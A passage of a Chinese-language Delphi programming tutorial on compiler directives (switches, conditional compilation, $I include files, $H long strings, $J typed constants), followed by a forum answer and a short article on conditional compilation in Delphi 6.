称以一个空格后连接「ON」或「OFF」来表示作用/关闭某一个编译指示开关。例如:

{$A+}

{$ALIGN ON}

开关型的编译指令不一定要分行写, 它们可以组合在同一个编译指示的批注符号之间,

但必须以逗号连接, 而且中间不可以有空格, 例如:

{$B+,H+,T-,J+}

光标停留在程序编辑器的任一位置时按下Ctrl+O O, 完整的Compiler Directives

将会全部列于Unit的最上方。

? 参数指令(Parameter directives)

有些Compiler Directives需要在编译名称后面连接自定的参数(文件名称或指定的记

忆体大小), 例如: {$R MyCursor.res}, 即在指示Delphi在编译连结时,

含入「MyCursor.res」这个资源档。

? 条件指令(Conditional directives)

指示Compiler在编译的过程中, 按我们设定的条件, 选择性的采用/排除不同区域的

程序代码。

以下是一个条件编译的例子, 第一与第三列是写给Compiler看的,指示

Compiler在 __DEBUG这个条件名称完成定义的情况才编译ShowMessage()这列程序;

反之, 如果 __DEBUG 当时没有定义的话, 这段程序几乎与批注无异, Compiler对

它将视而不见。

{$IFDEF __DEBUG}

ShowMessage(IntToStr(i));

{$ENDIF}

如何从IDE改变Compiler directives设定

从Delphi的IDE程序整合发展环境, 我们很方便的就可以修改各个compiler directives的

设定, 方法是:

从Delphi IDE主选单: Project/Options/Compiler, 直接核选/取消各个CheckBox。

值得注意的是, 改变一个项目的Compiler directives并不会影响其它的项目, 换言之,

各个项目都保有自己一套编译指示。

假如您希望其它的项目也采用相同一套的Compiler directives, 在上述Project Options

对话盒的左下方有一个「Default」选项, 选取这个CheckBox之后, 虽然对于既有的项目

没有作用, 但未来新的项目都将可以采用这组设定作为默认值。

将Compiler directives写入程序

透过Delphi的整合环境设定Compiler directives的确十分简便, 但是许多情况下我们

仍然需要将Compiler directive直接加到程序中。至少有两个原因支持我们这么作:

? 局部控制编译条件

在Project/Options/Compiler中所作的设定, 影响所及是整个项目, 如果某一段程序

要特别使用不同的编译设定, 就必须直接将编译指示加到程序中。

下列这段取自Online Help的程序范例, 即应用了{$I}编译指令局部控制在发生I/O错误

时不要举发例外讯息, 这样, 我们就可以编译出一支在这段程序区域中不会产生I/O例外

讯息的档案侦测函数。

function FileExists(FileName: string): Boolean;

var

F: file;

begin

{$I-}

AssignFile(F, FileName);

FileMode := 0; ( Set file access to read only }

Reset(F);

CloseFile(F);

{$I+}

FileExists := (IOResult = 0) and (FileName <> '');

end; { FileExists }

? 程序的可移植性

我们都可能会用到其它公司或个人创作的unit或component, 也可能分享程序给其它人,

换句话说, 单元或程序可能会在不同的机器上编译, 直接将Compiler directives加入

程序, 不仅可以免去程序使用前需要特别更改IDE的麻烦, 更重要的是解决了各个单元

间要求不同编译环境的歧异。

注意事项

Compiler directives的作用与影响范围

如同变量的可见范围与生命周期, 在我们使用 Compiler Directives 时也必须注意各个

Compiler Directives 的作用范围.

Compiler Directives的作用范围可分为以下两种:

? 全域的

全域的Compiler Directives, 影响所及是整个项目; 我们稍早前提到经由Delphi

IDE改变Compiler directives的方式就属于全域的设定。

? 区域的

而区域的Compiler Directives 影响所及只从Compiler Directives 改变的那一行开始,

直到该程序单元(Unit)的结束或另一个相同的Compiler Directives 为止,

对其他的程序单元并没有影响。

也就是说, 如果在unit中特别加入Compiler directives, Compiler会优先采用区域

的设定, 然后才是属于项目层级的全域设定。

值得一提的是, 在程序中直接加入Compiler directives的最大作用范围也只限于当时

那个单元而已, 对其他单元并没有任何影响, 即使是以uses参考也是一样。也就是说,

我们可以透过uses参考其它unit公开的变量与函式, 但是各个unit的编译指令并不会互

相参考。

这项独立的性质, 使得unit之间编译环境的设定与关系变得十分简洁, 例如Delphi

2.0的VCL都是在{$H+}的情况下编译的, 因此, VCL中的字符串都是以长字符串的型态编译

而成的, 有了这项编译指令独立的特性, 不论我们Prject中的设定为何, 这些在VCL中

定义过的字符串都是长字符串。我们的Project也不会因为uses了VCL中的unit而改变了自己

的设定。

因此, 在我们移交程序到网络上时, 大可以放心的在程序中加入必要的Compiler

directives, 别担心, 即使别的unit以uses参考了我们的程序, 也不影响它自己原来

的设定。

如果我们自行以{$DEFINE _DEBUGVERSION}($DEFINE在稍后的个别指令介绍中将有说明)

定义了一个条件符号, 这个新的条件符号也是区域的, 换句话说, 它只从定义的那一

个单元的那一列之后才成立, 当然, 也只对目前这个单元有效.

由于自订的条件符号只有区域的作用, 如果有好几个程序单元都需要参考到某一个条

件符号, 怎么办呢? 嗯! 在每一个程序单元开头处中都加上编译指示是最直接的方式,

可是略嫌麻烦, 特别是编译指示有变时, 要一一修正各个单元的设定内容, 很容易因为

疏忽而出错。

比较简易可行的作法是从Delphi IDE整合发展环境的主选单-Project / Options /

Directories/Conditional 的 Conditionals 中填入条件名称。这样, 相对于项目的

各个unit而言, 就有了一个全域的条件符号。

或者, 您也可以参考本文对于{$I}这个Compiler Directive的说明。 我在那里指出了

另一个弹性的解决方式。

修改过编译指令后, 建议Build All过一次程序

请试一试这个程序:

procedure TForm1.Button1Click(Sender: TObject);

begin

// ifopt是用来侦测某一个编译开关的作用状态

{$ifopt H+}

ShowMessage('H+');

{$else}

ShowMessage('H-');

{$endif}

end;

在我们执行上述程序时, 在Delphi预设的是$H+时, ShowMessage()会在画面上会显示

「H+」, 执行过后, 让程序与form的内容与位置保留不变, 单纯的从主选单:

Project/Options/Compiler, 将Huge Strings的核对方块清除($H-),

然后按下F9执行, 咦! 怎么还是看到「H+」?!

那是因为Delphi只会在unit内容经过异动后才会重新将.PAS编译成.DCU,

在我们的例子中, 程序并没有变动, .DCU当然也没有重新产生, 最后.EXE的这个部分

自然也是没什么变化。

所以, 要解决这个问题, 只要以Delphi IDE主选单Project/Build All指示Delphi

重新编译全部的程序即可。因此, 如果您从Delphi IDE修改过Compiler Directives后,

记得要Build All喔!

不应该用来作为程序执行流程控制

在程序中, 我们可以使用if叙述, 根据执行当时的情况控制程序执行时的流程,

但我们不可以用{$IFDEF}来作同样的事, 为什么? 从上述的说明, 相信您不难发现,

Compiler directives会对最后.EXE的内容发生直接的影响, 应用像是{$IFDEF}指示

Compiler的结果, 几乎可以视同授权Compiler在编译的那个时候自动选用/舍弃程序

到.DCU, .EXE中, 换句话说, 在程序编译完成时, 会执行到那一段程序已成定局了,

我们自然不能用它来作程序流程的控制。

条件编译的巢套最多可以16层

在使用{$IFDEF}…{$ENDIF}条件编译我们的程序时, 一个{$IFDEF}中可以再包含另一

个{$IFDEF}, 但深度最多只能16层, 虽然是个限制, 但以正常的情形来说, 这应该已

经足够了。

有些Compiler directives不应写在Unit中

对于像是{$MINSTACKSIZE}{$MAXSTACKSIZE}管理堆栈大小, 或者像是{$APPTYE}

指示程序编译成图形/文字模式的Compiler directives, 只能写在.DPR中, 写在Unit

中是没有效果的。

建议事项

确定您了解指令的影响

由于编译指令的影响是如此直接与深远, 在修改与应用某一个Compiler directive时,

请确定您已经了解其含意与影响。

打开全部的侦错开关

Delphi有关侦错的Compiler directives如下:

? $HINTS ON

? $D+

? $L+

? $Q+

? $R+

? $WARNINGS ON

各指令的用法您可以参阅本章稍后对个别指令的说明, 全部打开这些开关吧!

这样不仅让您可以使用Delphi IDE的除错器, 对于程序编译与执行过程中的问题,

Delphi也会适时的反应, 有助于写作正确的程序。

此处有一个迷思有待澄清-「加入Dubug信息会不会让执行文件变大变慢啊?」, 不一定。

对于们像是$D+, $L+, $HINTS ON这些开关, 打开后, Delphi在编译时的确会额外加入

一些除错信息, 使得.DCU的档案变大, 对于.EXE的档案大小并没有影响; 同时,

程序的执行速度也没有改变, 还可以应用IDE的除错器trace我们的程序, 值得应用。

对于像是$Q, $R等Compiler directive, 的确会影响执行文件的大小与速度, 然而这并

不动摇我们在研发期间使用它们的决定, 请想想看, 值得为这一点点的速度放弃程序

的正确性吗? 当然, 程序开发完成后, 正式出货的版本, 可以关闭这两个开关。

如果您写好了一个组件, 而且只预备提供.DCU, 由于没有.PAS可供Delphi IDE的Debugger

追踪程序, 除错开关反而应该在组件脱手前关闭并重新编译.DCU, 否则会引起使用者那

边找不到档案的例外讯息。

善用{$I}

{$I FileName}是一个非常有用的Compiler directive.应用这个指令, 我们可以弹性的

管理Compiler directive的设定。

条件名称请加入前导符

不知道您有没有这个疑问 -- 如果用{$DEFINE}定义的条件名称与变量名称相同时会发

生什么事?

procedure TForm1.Button1Click(Sender: TObject);

var

TEST: integer;

begin

{$DEFINE TEST}

{$IFDEF TEST}

ShowMessage('Test');

{$ENDIF}

end;

以上的程序编译与执行都没有问题, 但条件名称与变量名称重复毕意容易让人混淆, 因此,

假如能适当的为编译条件名称之前加上诸如底线(_TEST), 程序会比较容易阅读。

设定一致的编译环境

在您了解了Compiler Directives之后, 请立即开始着手修改您IDE中有关编译指示

的各个开关并且设为Default, 这样, 日后您的项目乃至整个研发小组都将拥有

共同一致的编译环境, 对于写出来的程序会以何种方式编译连结都了然于胸,

直接有助于子系统顺利并入主系统中。

个别指令说明

有了之前对于Compiler directives的观念之后, 接下来的这一节我将一一

介绍几个常用的Compiler Directive的用法与注意事项, 您可以从这一

节中学到更多有关Compiler directives的知识与使用细节。

{$A+} 字段对齐

在{$A+}(默认值)的情形下, 如果没有使用 packed 修饰词宣告的 record

型态, 其字段会以CPU可以有效存取的方式向 1. 2. 4 等边界对齐,

以获取最佳的存取速度。以下列的程序示例来说:

{$A+}

type

MyRecord = record

ByteField: byte;

IntegerField: integer;

end;

…

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowMessage(IntToStr(SizeOf(MyRecord)));

end;

ShowMessage在{$A+}时显示的结果是:「8」; 倘若是{$A-}, 那所得的结果是「5」,

按理说, Byte应该只要一个byte就足够了, 但是考虑到硬件的执行特性,

经过对齐后的record会有比较好的执行速度。

有关这个Compiler Directive要注意的事项是: 不管{$A}的开关是ON或OFF,

使用packed修饰过的记录宣告, 是一定不会对齐的. 例如:

MyRecord = packed record // 不会对齐的记录宣告方式

{$APPTYPE GDI} 应用程序型态

一般的情形下, Delphi会以{$APPTYPE GUI}的方式产生一个图形的使用者接口程序,

如果您需要产生一个文字屏幕模式的程序, 那可以经由:

? 在.DPR中加入{$APPTYPE CONSOLE}

? 从主选单: Project/Options/Linker/EXE and DLL Options, 核取

「Generate Console Application」Check Box。

其它有关这个Compiler Directive的注意事项有:

? $APPTYPE不能应用在DLL的项目或单一的程序单元(Unit), 它只对.EXE有意义。

而且只有写在.DPR中才有作用。

? 我们可以应用System程序单元中的IsConsole函数在程序执行时侦测应用程序

的类型。

? 参阅Object Pascal手册第十三章可以知道更多有关Console Mode

Application的信息。

{$B-} 布尔评估

请看以下的程序:

if (Length(sCheckedDateString) <> 8)

or EmptyStr(sCheckedDateString)

or (sCheckedDateString = ' . . ')

or (sCheckedDateString = ' / / ') then

begin

Result := True;

Exit;

end;

假如sCheckedDateString的字符串内容是「85/12/241」(长度9)的话, 以上的if述句,

其实在第一个逻辑判断时就已经知道结果了, 即使不看后来的逻辑运算结果也知道

整个式子会是真值。

假如您希望对整个逻辑表达式进行完整的评估 -- 尽管结果已知, 后来的逻辑运算

也不影响整个的结果时仍要全部评估过, 请将这个Compiler directives设为{$B+},

反之, 请设为{$B-}, 系统的默认值是{$B-}。

{$D+} 除错信息

当程序以{$D+}(默认值)编译时, 我们可以用Delphi整合发展境境的Debugger设定

断点, 也可以使用Trace Into或Trace Info追踪程序的执行过程, 值得注意的是,

以{$D+}编译的程序, 执行的速度并不会受到影响, 只不过编译过的DCU的档案长度会

加大, 但EXE档的大小不变。

{$DEFINE条件名称} 定义条件名称

随着您对Compiler Directives的了解与应用程度的加深, 您会发现这是一个非常实

用的编译指示。

经常, 我们会因为除错需要﹑区别不同版本等缘故, 希望选择性的采用或排除某一

段程序, 这个时候, 我们就可以先以$DEFINE定义好一个条件名称(Conditional name),

然后配合{$IFDEF条件名称}…{$ELSE}…{$ENDIF}指示编译器按指定的条件名称之有无

来选择需要编译的程序。以下列的程序片断来说:

{$DEFINE _ProVersion}

…

procedure TForm1.Button1Click(Sender: TObject);

begin

{$IFDEF _Proversion}

frmPrint.ShowModal; // A

{$ELSE}

ShowMessage('很抱歉, 试用版不提供打印功能');

{$ENDIF}

end;

编译器将会选择编译上述A的那列程序, 日后, 如果我们需要编译「简易版」

的程序版本时, 只要:

? 将{$DEFINE _ProVersion}那列整个删掉。

? 或者, 将{$DEFINE _ProVersion}改成{-$DEFINE _ProVersion},

让它变成普通的批注

? 或者, 在{$DEFINE _ProVersion}的下一列加上{$UNDEF _ProVersion},

解除_ProVersion这个条件名称的定义。

这样, 由于_ProVersion这个条件名称未定义的缘故, Compiler就只会选择

{$ELSE}下的那段程序, 重新编译一次, 不需费太多力气, 很容易的就可以制作出

「简易版」了, 省去了要同时维护两份程序的麻烦。

使用$DEFINE时的其它注意事项如下:

? 以{$DEFINE}定义的条件名称都是区域的。换句话说, 它的作用范围只在

当时所在的单元才有效, 即使定义在unit的interface, 由其它的unit以uses参考也没有效,

仍然只有在目前的unit有作用。

? 此外, 它的作用范围是从定义起, 到unit结尾或者以{$UNDEF}解除为止。

? 如果程序单元中已经用{$DEFINE}定义了一个条件名称, 而且也没有用

{$UNDEF}解除定义, 重新{$DEFINE}一个同样名称并没有作用, 换句话说, 它们是同一个.

? 假如需要一个全域的条件名称, 您可以:主选单: Project / Options / Directories/

Conditional 的 Conditionals 中填入条件名称。

? 以下的标准条件名称, 是Delphi 2.0已经预先预备好的, 我们可以直接引用,

同时, 它们都是全域的, 任何Unit都可以参照得到。

? VER90: Delphi Object Pascal的版本编号。90表示9.0版, 日后若出现9.5

版时, 也会有VER95的定义。

? WIN32: 指出目前是在Win32(95, NT)作业环境

? CUP386: 采用386(含)以上的CPU时, 系统会提供本条件名称。

? CONSOLE: 此符号会于应用程序是在屏幕模式下编译时才定义。

{$DESCRIPTION 描述内容}

应用{$DESCRIPTION}可以指定加入一段文字到.EXE或.DLL表头的模块描述进入点

(module description entry)中﹐通常我们会用这个Compiler Directive加入应

用程序的名称与版本编号到.EXE中。例如:

{$DESCRIPTION Dchat Version 1.0}

{$X+} 扩充语法

这是为了与之前的Pascal版本前向兼容的编译指令, 虽然设定这个开关型的指令仍有

作用, 但笔者建议您大可保留系统的默认值{$X+}, 在{$X+}下:

? 不需要非得准备一个变量接受函数的传回值, 换句话说, 函数的传回值可以

舍弃, 此时, 就可以像是呼叫程序一样, 很方便的呼叫函数。

? 支持Pchar型态与零基的字符数组作为C语言以Null结尾的字符串。

{$HINTS OFF} 提示讯息

打关{$HINTS}开关后, Compiler会提示程序设计师注意以下的情况:

? 变量定义了却没有使用

? 程序流程中不会执行的for或while循环

? 只有存入没有取用的指定叙述。意思是说, 指定数据到某一个变量之后,

却没有任何的程序参考取用这个变量值。

{$HINTS ON}

procedure MyTest;

const _False = False;

var

I, J: integer;

begin

if _False then

for I := 1 to 3 do ;

J := 3;

end;

{$HINTS OFF}

由于程序简单, 在两个$HINTS中间的程序, 我们不难看出:

? for循环不会执行到, I变量也因此不曾用过

? J := 3写了等于白写

但在程序越写越长而日趋复雓时, 藉由{$HINTS ON}的协助, 比较容易察觉出程序的毛病。

{$IFDEF} {$IFNDEF}

请参阅{$DEFINE}的说明, 在此补充说明{$IFNDEF}, 以下列程序来说, 即在指示Compiler

在_Test未定义时, 条件编译ShowMessage()那列程序:

{$IFNDEF _TEST}

ShowMessage('_TEST not define');

{$ENDIF}

换言之, {$IFNDEF}相当于{$IFDEF}的{$ELSE}部分。

{$IFOPT 开关}

到底{$B}是开着或关着呢? 如果我们想要指示Compiler按照某一个编译开关当时的状态作

我们指定的事, 应该该怎么做呢? 这时, {$IFOPT}就派得上用场了。例如:

{$R+}

{$Q-} // 特别指定为Q-

{$IFOPT R+} // 如果 Range Check 是开启的话

ShowMessage('程序是在 Range Check 开启状态下编译的');

// 这个 Q+ 也会在 IFOPT R+ 成立时才通知 Compiler

{$Q+}

{$ENDIF}

{$IFOPT Q+}

ShowMessage('Q 也变成开启状态了');

{$ENDIF}

ShowMessage() 与 {$Q+}会在$R+ 的情形下才编译, 因此, 虽然我们事前特别指示为{

$Q-}, 第二个的ShowMessage()在程序执行时也可以看到「Q 也变成开启状态了」。

{$IMAGEBASE档案基础地址}

这个Compiler directive用来指示.EXE或.DLL加载时的预设地址。例如: {$IMAGEBASE

$00400000}。如果指定加载的地址空间之前已经有其它模块占用了, Windows会为.EXE重

新配置一个新的加载地址。对于.DLL来说, 如果可以成功配置到我们写在{$IMAGEBASE}

的地址, 由于不需要重新配置内存地址, 不仅加载的速度较快, 如果有其它程序也参

照到这个DLL的话, 也可以减少加载时间与内存的消耗。

使用这个Compiler directive时需要注意的事项有:

? 指定的叙述必须是一个大于$00010000的32位整数数值, 同时, 较低位置的

16个位必须是零。

? DLL的建议地址范围从$40000000到$7FFFFFFF, 该范围的地址可以同时适用于

Windows 95与Windows NT。

{$I文件名称} 含入档案

以Delphi IDE修改Compiler directives的确相当方便, 但往往我们仍然需要将Compiler

directives直接加入程序中, 可是当我们这样作之后不用多久, 就会发现要一一重新

修改各个单元中的这些Compiler directives时, 实在是既无聊而又容易出错的工作。

这时候, 假如您一开始就采用{$I文件名称}, 整件事就会变得很简单。怎么做呢?

让我用一个例子告诉您 --

? 先用一般的文书编辑器建好一个MySet.inc的普通文本文件, 内容为:

{$H+}

{$DEFINE _Proversion}

? 在我们的程序中, 加入一列{$I MySet.inc}, 例如:

unit Unit1;

{$I MySet.inc}

interface

…

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

begin

{$IFDEF _ProVersion}

ShowMessage('专业版');

{$Else}

ShowMessage('只有专业版才有此功能');

{$ENDIF}

end;

…

这是子程序的观念嘛! 没错, 就是这么简单而已, 以后如果有任何变化, 修改MySet.INC,

然后Project/Buile All即可, 实在是够简单的了。

基本动作会了之后, 让我告诉你多一点有关{$I文件名称}的事。

? 一旦应用了{$I文件名称}, 几乎等于Compiler在编译时, 让Compiler将这个档

案的内容贴进我们的程序中的那个位置。

? 如果没有注明扩展名, Delphi预设这个档案是.PAS。

? 如果在项目的目录中找不到这个档案的话, Delphi会陆续搜寻Tools/Options

/Library中的Library Path中的目录。

另外, 当您写作了一个DLL, 使用者在使用其中的函数前必须宣告过, 如果能够一并提

供这些函数的宣告文件, 使用者只要一行{$I xxx}

即可, 是不是很方便呢?

{$I+} EInOutError检查

在{$I+}(系统默认值)状态编译的程序, 一旦发生I/O错误时, 将会举发一个EInOutError

的例外, 假如我们在特定的情况下不希望出现这个例外的讯息时(例如前文提到的侦测档

案是否存在函数), 可以将这个Compiler directive设为{$I-}, 此时, 程序执行时是否发

生过错误,程序设定师必须自行检查IOResult这个公用变量的值, 如果是零, 表示没有错误,

非零的错误代码含意请详查Online help。

{$L文件名称} 连结目标文件

如果您有一个.OBJ文件要并入Delphi的程序时, 可以在程序中加入:

{$L OTHER.OBJ}

这样, 就可以使用OTHER.OBJ中的程序了, 值得注意的是, 函数或程序在呼叫前,

仍然必须用external宣告过, 表明这些模块是来自「外部」的函式。

举例来说, 笔者有一份由Keypro厂商提供的.OBJ檔, 在使用时, 相关的程序如下:

…

{$L hasptpw.obj}

{$F+}

procedure hasp (Service, SeedCode, LptNum, Pass1, Pass2 : word;

var p1,p2,p3,p4 : word); external;

{$F-}

…

经过{$L hasptpw.obj}宣告之后, 程序的其它部分就可以直接呼叫原先位于 hasptpw.obj

中的hsap这个程序了。

{$L+} 区域符号信息

在{$L+}时, Delphi会额外加入一些区域符号信息, 这使得我们可以应用Delphi IDE中的

View/Call Stack, View/Watch在程序执行时检视变量内容与函式呼叫的关系。

应用这个Compiler directive的注意事项有:

? {$D-}时, {$L+}不会有作用。

? 使用{$L+}, 只会加大.DCU的档案大小, 对.EXE的大小与执行速度并没有影响。

{$H+} 长字符串宣告

Delphi 2.0之后, 字符串多了一个更为好用的长字符串, 不仅没有资料长度255的限制,

与C语言惯用的Null-terminated string兼容性也大为提高。

使用{$H}时的注意事项有:

? {$H+}的编译情形下, 以string定义的字符串变量都是长字符串, 请注意,

字符串是否为长字符串是在字符串定义时决定的, 例如:

procedure TForm1.Button1Click(Sender: TObject);

{$H-}

var

s: string;

begin

{$H+}

s := '测试一下长字符串';

Windows.MessageBox(0, pchar(s), '讯息', 64);

end;

由于var前{$H-}的缘故, 虽然在begin后我们立即设定为{$H+}, 但s仍然是一个短字符串,

所以, 自然不能像是长字符串一样, 以pchar强制型别转换后当作Null-terminated字符串使

用。

? 承上, 不管程序是{$H+}或{$H-}, 只要字符串是以长字符串方式定义的, 即使

begin..end;中改成{$H-}, 该字符串的操作仍然具有长字符串的特性。

因此, 由于VCL中的字符串都是长字符串, 即使我们的程序是{$H-}, 仍然可以拿它们当长

字符串来使用。

? 不论{$H}的状态如何, 以AnsiString定义的一定是长字符串; 以string[n]或

ShortString定义的一定是短字符串。

{$M 16386, 1048576} 内存配置大小

要改变唯叠(Stack)内存配置大小时, 我们可以有以下两种选择:

? 使用{$MINSTACKSIZE数字}, {$MAXSTACKSIZE数字}, 分别指定最小.最大的Stack

大小.

? 或者使用{$M min, max}, 同时指定最小与最大的值。

使用这些Compiler directive时的注意事项有:

? 写在.DPR中才有效果。

? 堆栈的最小数字必须介于1024至21474835647之间。

? 堆栈的最大数字必须介于$MINSTACKSIZE至21474835647之间。

? 当内存不足而无法满足最小的堆栈大小时, Windows会在激活这程序时

提出错误报告。

? 当程序要求的内存超过$MINSTACKSIZE的大小时, 将举发EStackOverflow例外。

{$Z1} 最小列举大小

这个Compiler directive将影响储存列举型态时最小所需的byte数值。如果宣告列举型

态时, 数值不大于256, 而且也在系统预设的{$Z1}时, 这个列举型态只占用一个byte储

存的。{$Z2}时, 以两个byte储存, {$Z4}时, 以四个byte储存。因为C语言通常以WORD或

DWORD储存列举型态, 如果您的程序需要与C、C++沟通时,{$Z2}{$Z4}就很管用了

{$Z+}, 与{$Z-}分别对应到{$Z1}和{$Z4}。

{$P+} 开放字符串参数

在程序与函数宣告时, 其中的字符串自变量, 在{$P+}时表示是Open string; {$P-}时,

只是一般的字符串变量而已。这个Compiler directive只在{$H-}时有作用。

{$O+} 最佳化开关

建议您维持{$O+}的系统默认值。开启这个Compiler directive, Delphi会自动进行

最佳化处理, 程序可以因此跑得快一些, 您可以放心的打开这个编译开关, Delphi

不会进行不安全的最佳化而使您的程序执行时发生错误。

{$Q-} 满溢检查, {$R-} 范围检查

{$Q}与{$R}是一组搭配使用的Compiler directive, 它们将检查数值或数组的

操作是否在安全的边界中, {$Q}会检查整数运算(如+, -, Abs, Sqr, Pred,

Succ等), 而{$R}则检查字符串与数组的存取是否超出合理边界范围等问题。

使用这两个Compiler directives会因为这些检查动作而降低程序执行的速度,

通常我们会在除错时开启这两个编译开关。

{$U-} Pentium CPU浮点运算安全检查

还记得早期Pentium CPU浮点运算不正确的事吧? 这批CPU应该回收得差不多了,

但如果您仍然不确定程序会不会意外的遇到漏网之鱼或黑心牌经销商的话, 请将这个

Compiler directives设为{$U+}。

根据Borland手册的说明, 如果CPU是没有暇疵的, 设定{$U+}对于执行速度只有轻微

的影响; 但如果是问题CPU, 浮点的除法速度会因此慢上三倍, 是否要打开这个开关,

您心中应该已有取舍。

{$R文件名称} 资源档

在您还没有开始学习Compiler directives之前, 这个指令就已经出现在您的程序中

了,每次开出一个新的form时, Delphi自动在Implement开头部分中加入{$R *.DFM},

在Project/Source中看到的.DPR程序中也有{$R *.RES}, 这些是什么意思呢? 意思是说,

在编译连结时, 含入与项目主档名同名的.RES, 以及与form unit档案同名的.DFM等资源档。

如果您需要在程序中使用额外的资源(例如: 自订鼠标指针), 请注意不要自行以Resouse

WorkShop或Image Editor等资源编辑器更改这些与Project或Form同名的资源档,

改变这些同名的档案不仅无效, 可能还有不可预期的错误。因些,

您应该在另外一个资源档中存放这些资源, 并于{$R}中写明档案的名称将其连结进来, 例如:

{$R MyCursor.res}

{$T-} @指针型态检查

应用@操作数可以取得变量的地址, 在{$T-}时, 以@取得是一个无型别的指针(Pointer)。

反过来说, 在{$T+}时, 是有型别的指针, 假定I是一个integer的变量, @I所得到的即是

相当于^Integer(Pointer of Integer)的指针。

{$WARNINGS ON} 编译器警告

这个Compiler directive与{$HINTS}的作用类似, 同样会对程序的可能问题提出警告。

不同的是, 在{$WARNINGS ON}时, Compiler会对未初始化的变量、没有传回值的函数、

建构抽象对象等情况提出警告。

{$J-} 型态常数只读

从前笔者曾经对以下的程序产生过疑惑:

{$J+}

procedure TForm1.Button1Click(Sender: TObject);

const

VarConst: integer = 4;

begin

VarConst := 5;

ShowMessage(IntToStr(VarConst));

end;

const不是常数吗? 为什么可以改呢? 在先前的Pascal版本中, 以

const VarName: DataType = const value;

定义的具型态常数的确是可以改的, 假如您希望常数就是常数, 它不应该允许修改,

请将这个Compiler directive设为{$J-}

不论是{$J+}或{$J-}, 以const VarName = const value; 定义的常数(

没有加上型别宣告), 是一个真正的常数, 其它的程序不可以改变其内容。

其实{$J+}时还有一个妙用, 那就是宣告出类似C语言static的变量, 换句话说,

产生了一个与Application相同生命周期的变量。在这种情形下, 变量只在第一

次使用时才会建立, 函数或程序结束时, 该变量也不会消灭, 下一次再呼叫到这个函数

或程序时, 我们仍然可以参考到上次执行结束时的值。让我们试一下这个例子:

{$J+}

procedure TForm1.Button1Click(Sender: TObject);

const

i: integer = 0;

begin

ShowMessage(IntToStr(i));

Inc(i);

ShowMessage(IntToStr(i));

end;

第一次执行时, 我们分别会看到「0」「1」, 再点一次这个按钮时, 看到的将是「1」「2」。


编译指令

我在一个pas文件中定义一个{$define PROGRAM_DEBUG_}来表示一个调试标志宏。

在另一个pas文件中就不起作用了，非要我也定义一个相同的{$define PROGRAM_DEBUG_}

难道在一个工程中有n个pas文件，就要我定义n个{$define PROGRAM_DEBUG_}，太没道理了

在C/C++没有这回事。

各位，我怎样只设置一个{$define PROGRAM_DEBUG_}，就能在整个工程中去作用。

来自：Kingron, 时间：2001-9-9 12:57:00, ID：617411

哎呀，我来告诉你把：

关闭所有的工程，然后选择Project Options，在那个Condition???页面中，有一个

条件一项，点击...按钮，添加{$define PROGRAM_DEBUG_}就可以了，以后你就可以使用：

{ifdef PROGRAM_DEBUG_}

.....

来自：Kingron, 时间：2001-9-9 12:59:00, ID：617412

上面的不仅仅是对本程序起作用，对所有的新建的都会有作用的，如果要对本程序起作用，

只要修改本程序的Project Options即可。

关于Delphi中的条件编译

Delphi支持类似于C++中条件编译的概念。其方法也很简单。不过，因为使用频率相对较少的缘故，有些人对它还是不太熟悉，而且Delphi和C++在条件编译的语法上也有一点小的差别，所以有必要简单提一下。

最简单的形式类似这样：

{$IFDEF DEBUG}

ShowMessage(‘Display a Debug Message!’);

{$ENDIF}

    在Delphi 6中，支持IFDEF的一个增强的形式：IF。IF不仅可以测试符号定义，而且允许测试常量（包括常量表达式，如SizeOf，Pred，Succ等），而且能够测试组合条件。下面是一个例子：

const

DebugControl = 3;

{IF Defined(DEBUG) and (DebugControl>=3)}

ShowMessage( ‘High Debug Level!’);

{$IFEND}

    熟悉C++的朋友应该注意，测试结束部分有两种形式，分别是ENDIF和IFEND，它们分别用于对应IFDEF(也包括IFNDEF)和IF，不可以混用，否则将得到一个出错信息，这是Object Pascal和C++的一个不同点。

更复杂一些的形式如下：

{$IFDEF ...}

...

{$ELSEIF ...}

...

{$ELSE}

...

{$IFEND}

    条件编译在Delphi 6中变得相对比较重要，因为Delphi 6分别支持VCL和CLX这两个不同的库。因而在VCL中和其他一些地方，你能够看到类似这样的语句：

{$IF Defined(CLX)}

...

{$IFEND}

Delphi中预定义了一些条件编译符号。下面列出其中比较重要的一些：

1.VER140

    这个定义暗示Delphi 6.0在Borland Pascal产品家族中的真正版本号是14.0。在Delphi 5中则定义了VER130。应用如下：

{$IFDEF VER140}

ShowMessage('Is Delphi 6!')

{$ENDIF}

{$IFDEF VER130}

ShowMessage('Is Delphi 5!')

{$ENDIF}

2．MSWINDOWS / LINUX / WIN32

    前面两个定义显然是为跨平台编程而准备的。至于WIN32，你也可以把它当作MSWINDOWS来用；不过，实际上它是为Delphi 1.0/2.0的兼容性而保留的，除非你有这两个版本的应用程序需要维护，否则一般不应该再使用它。当然了，在将来的64位平台上，还会出现WIN64的定义；如果你是个很前卫的程序员，你甚至可以现在就编写这样的代码：

{$IFDEF WIN64}

...

{$ENDIF}

这样做也并不是毫无意义的，因为Delphi目前对Int64类型已经提供了不错的支持。

3．CONSOLE

指示这是一个控制台(Console)应用程序。

4．BCB

如果需要在C++Builder中编译.Pas文件，某些情况下可能需要它。

5．ConditionalExpressions

在Delphi 5和以前版本中不支持$IF。不过，用下面这种方式，不论在Delphi 5还是Delphi 6中都可以毫无问题地通过编译：

{$IFDEF ConditionalExpressions}

{$IF Defined(Debug)}

ShowMessage('Debug!');

{$IFEND}

{$ENDIF}

《Mastering Delphi 6》的作者给了我们两条忠告：

    1．条件编译很有用，只要使用得当，它能够为程序提供相当的灵活性。但是，应该只在确实需要用它们的时候才用；否则，很容易让代码变得难于阅读，并且可能给调试器造成麻烦。

    2．当你改变了某些定义，编译器并不一定总是能够正确的区分哪些代码需要重新编译。如果你改变了这些定义后，程序的运行情况变得有点奇怪，那么请选择Build All。

    Delphi 6中引入了一个新的指示字（directive）：platform。因为Delphi 6支持跨平台编程，但是，当你需要编写一些特定于平台的代码的时候，最好用platform来声明。

下面是例子：

var

WinInteger : integer=3000 platform;

procedure Test;platform;

begin

Beep;

end;

type

WinClass=class

x : integer;

end platform;

    其中class声明中platform出现的位置似乎有点奇怪，没关系，知道就行了，反正我们一般不太会用得到它（但是真有需要的时候，你也得有所了解才行）。如果你一定要寻根究底的话，《Mastering Delphi 6》的作者对此有一个简要的解释：

